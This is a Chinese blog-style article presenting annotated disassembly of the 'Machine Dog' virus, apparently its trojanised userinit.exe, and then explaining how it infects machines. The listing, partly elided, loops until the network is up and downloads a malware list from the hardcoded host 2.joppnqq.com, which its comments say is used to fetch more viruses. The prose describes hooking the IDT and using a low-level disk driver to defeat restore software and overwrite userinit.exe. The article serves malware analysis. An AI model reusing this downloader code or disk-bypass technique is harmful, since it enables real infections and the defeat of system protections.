电脑病毒机器狗的源代码

2016-11-10

今天小编要跟大家介绍下电脑病毒的源代码,下面就是小编为大家整理到的资料,请大家认真看看!

电脑病毒的源代码(小编这里就以机器狗病毒的代码为例)

机器狗病毒入侵源码

0040045A > $ 55 push ebp ; (初始 cpu 选择)

0040045B . 8BEC mov ebp,esp

0040045D . 81C4 E8FEFFFF add esp,-118

00400463 . 68 9C0A4000 push userinit.00400A9C ; /user32.dll

00400468 . E8 55020000 call ; LoadLibraryA

0040046D . 0BC0 or eax,eax

0040046F . 74 11 je short userinit.00400482

00400471 . 68 A70A4000 push userinit.00400AA7 ; /loadremotefonts

00400476 . 50 push eax ; |hModule

00400477 . E8 34020000 call ; GetProcAddress

0040047C . 0BC0 or eax,eax

0040047E . 74 02 je short userinit.00400482

00400480 . FFD0 call eax ; USER32.LoadRemoteFonts

00400482 > 8D45 FC lea eax,dword ptr ss:[ebp-4]

00400485 . 50 push eax ; /pHandle

00400486 . 68 19000200 push 20019 ; |Access = KEY_READ

0040048B . 6A 00 push 0 ; |Reserved = 0

0040048D . 68 B70A4000 push userinit.00400AB7 ; |softwaremicrosoftwindows ntcurrentversionwinlogon

00400492 . 68 02000080 push 80000002 ; |hKey = HKEY_LOCAL_MACHINE

00400497 . E8 5C020000 call ; RegOpenKeyExA

0040049C . 0BC0 or eax,eax //打开注册表检测winlogon键值

0040049E . 75 48 jnz short userinit.004004E8

004004A0 . C745 F8 04010000 mov dword ptr ss:[ebp-8],104

004004A7 . 68 04010000 push 104 ; /Length = 104 (260.)

004004AC . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

004004B2 . 50 push eax ; |Destination

004004B3 . E8 16020000 call ; RtlZeroMemory

004004B8 . 8D45 F8 lea eax,dword ptr ss:[ebp-8]

004004BB . 50 push eax ; /pBufSize

004004BC . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

004004C2 . 50 push eax ; |Buffer

004004C3 . 6A 00 push 0 ; |pValueType = NULL

004004C5 . 6A 00 push 0 ; |Reserved = NULL

004004C7 . 68 960A4000 push userinit.00400A96 ; |shell

004004CC . FF75 FC push dword ptr ss:[ebp-4] ; |hKey

004004CF . E8 2A020000 call ; RegQueryValueExA

004004D4 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C]

004004DA . 50 push eax ; /Arg1

004004DB . E8 50FDFFFF call userinit.00400230 ; userinit.00400230 CreateProcessA

004004E0 . FF75 FC push dword ptr ss:[ebp-4] ; /hKey

004004E3 . E8 0A020000 call ; RegCloseKey

004004E8 > 68 E8030000 push 3E8 ; /Timeout = 1000. ms

004004ED . E8 E8010000 call ; Sleep

004004F2 . 6A 00 push 0

004004F4 . 8D45 F8 lea eax,dword ptr ss:[ebp-8]

004004F7 . 50 push eax

004004F8 . E8 13020000 call ;看网络是否连接

004004FD . 0BC0 or eax,eax

004004FF . 75 02 jnz short userinit.00400503

00400501 .^ EB E5 jmp short userinit.004004E8

00400503 > 68 04010000 push 104 ; /Length = 104 (260.)

00400508 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

0040050E . 50 push eax ; |Destination

0040050F . E8 BA010000 call ; RtlZeroMemory

00400514 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C]

0040051A . 50 push eax ; /TempName

0040051B . 6A 00 push 0 ; |Unique = 0

0040051D . 6A 00 push 0 ; |Prefix = NULL

0040051F . 68 940A4000 push userinit.00400A94 ; |.

00400524 . E8 93010000 call ; GetTempFileNameA ;生成下载病毒列表得文件名

00400529 > 68 E8030000 push 3E8 ; /Timeout = 1000. ms

0040052E . E8 A7010000 call ; Sleep

00400533 . 68 88130000 push 1388 ; /Arg3 = 00001388

00400538 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

0040053E . 50 push eax ; |Arg2

0040053F . 68 ED0A4000 push userinit.00400AED ; |//2.joppnqq.com/test.cer ; ;病毒列表

00400544 . E8 2CFDFFFF call userinit.00400275 ; userinit.00400275 ;里面事下载并读取病毒列表下载病毒~

00400549 . 0BC0 or eax,eax

0040054B . 0F84 17010000 je userinit.00400668

00400551 . C705 900A4000 00000000 mov dword ptr ds:[400A90],0

0040055B . 6A 00 push 0 ; /hTemplateFile = NULL

0040055D . 6A 00 push 0 ; |Attributes = 0

0040055F . 6A 03 push 3 ; |Mode = OPEN_EXISTING

00400561 . 6A 00 push 0 ; |pSecurity = NULL

00400563 . 6A 00 push 0 ; |ShareMode = 0

00400565 . 68 00000080 push 80000000 ; |Access = GENERIC_READ

0040056A . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

00400570 . 50 push eax ; |FileName

00400571 . E8 16010000 call ; CreateFileA

00400576 . 83F8 FF cmp eax,-1

00400579 . 0F84 E2000000 je userinit.00400661

0040057F . 8985 F0FEFFFF mov dword ptr ss:[ebp-110],eax

00400585 . 6A 00 push 0 ; /pFileSizeHigh = NULL

00400587 . FFB5 F0FEFFFF push dword ptr ss:[ebp-110] ; |hFile

0040058D . E8 18010000 call ; GetFileSize

00400592 . 83F8 0F cmp eax,0F

00400595 . 73 0D jnb short userinit.004005A4

00400597 . FFB5 F0FEFFFF push dword ptr ss:[ebp-110] ; /hObject

0040059D . E8 E4000000 call ; CloseHandle

......................................................................................................................

00400676 . 6A 64 push 64 ; /Timeout = 100. ms

00400678 . E8 5D000000 call ; Sleep

0040067D .^ EB EE jmp short userinit.0040066D

0040067F > 6A 00 push 0 ; /ExitCode = 0

00400681 . E8 1E000000 call ; ExitProcess

很精典呀,,里面涉及到了在汇编下如何操作注册表,从指定网址下载文件到临时文件第三节:机器狗病毒入侵原理

机器狗原理:

建立磁盘底层驱动。

1.校验IDT的NPXSegment Overrun(09)和Page Fault(OE)的矢量地址,如果存在,则把高16位设置为0,这个过程和还原软件的原理是一样的,就是对OE的HOOK检验。

2.给自己找个位置,查找驱动资源中的1000/1000,然后COPY到ALLOVER缓冲区中。

3.建立物理磁盘PhysicalHardDISK0的Device----DosDevices的底层借口,针对“IRP_MJ_CREATE”“IRP_MJ_CLOSE”“IRP_MJ_DEVICE_CONTROL”响应。“IRP_MJ_CREATE”断开DeviceHarddisk0DR0-1上的附属部件。从而使磁盘OS层提供的应用层文件系统鉴听校验失效。

然后通过“I_M_C ”中恢复DR0-1上的附加。并在I_M_D_C中对0x0004f8E——0xF0003C0F作出响应,把ALLOVER缓冲区中找到的数据解密并返回应用层。通过KEY-s查表产生密钥。0x0004f8E——0xF0003C0F字段会将用户态代码作为源基,对其运算后得到字串KEY,用来对源驱动解密后,反还给用户层。

在这个过程中,有个大家比较熟悉的截面,就是系统由于磁盘底层驱动校验不成功而出现的蓝屏截面,最常见的是初始值0x0004f8E,比如,早期的SATAⅠ在保护卡状态下出现物理坏道(0%—1%),就是这个蓝屏代码。很多由于用户态的软件安装不当,引起的蓝屏也出现在这一区段中。在解除DR0-1上的附属部件时,出现逻辑性错误就导致大家常见的中机器狗后的蓝屏。多见于多处理器平台。一般的PC是不会出现这个错误的,也就是说,大多数中招后都能正常使用,就是木马多多,呵呵。

继续正题,以上过程反映到IE上是这样的:1.释放底层驱动程序(比如变种前的PCIHDD.SYS)或者高位数用户态临时驱动(变种后,可以有可执行程序引导,如“Usrinit.exe”)

2.定位WINDOWS系统中的userinit.exe。(通过MBR和第一引导扇区参数来定位文件磁盘矢量偏移。)

3.并校验RF文件与地位后读取的数据位置的正确性。

4.将获取的代码参数返回给底层驱动,控制0x0004f8E——0xF0003C0F段为,最后将返回值(TQ)直接写入userinit.exe数据所在的第一蔟。这里要大家特别注意以下,通过用户态的shell调用,作者只需一点变动,就可以随即抓取用户态引导文件,所以,目前的改名设权限都是没用的。

甚至,他可以把这个过程省略,象净网先锋那样,把Shell进程写入动态连接库。那么,还原就没用了。还会带来网络负载问题,可能是作者比较仁慈吧。

好了,分析了以上的过程,解决的办法就出来了,就是要通过对操作系统的内核编译,将他所定位的目的地址占据,这样,除非是格式化,否则,任何操作的不会在底层夺取该位置。(不要问权限问题,在底层是没有这个说法的,先入为主。)

这篇是讲得比较专业点儿的,基本上把机器狗如何在底层获取控制权限过程都讲解了。

夹并启动运行,以及如何调用系统级动态。

更多相关阅读

最新发布的文章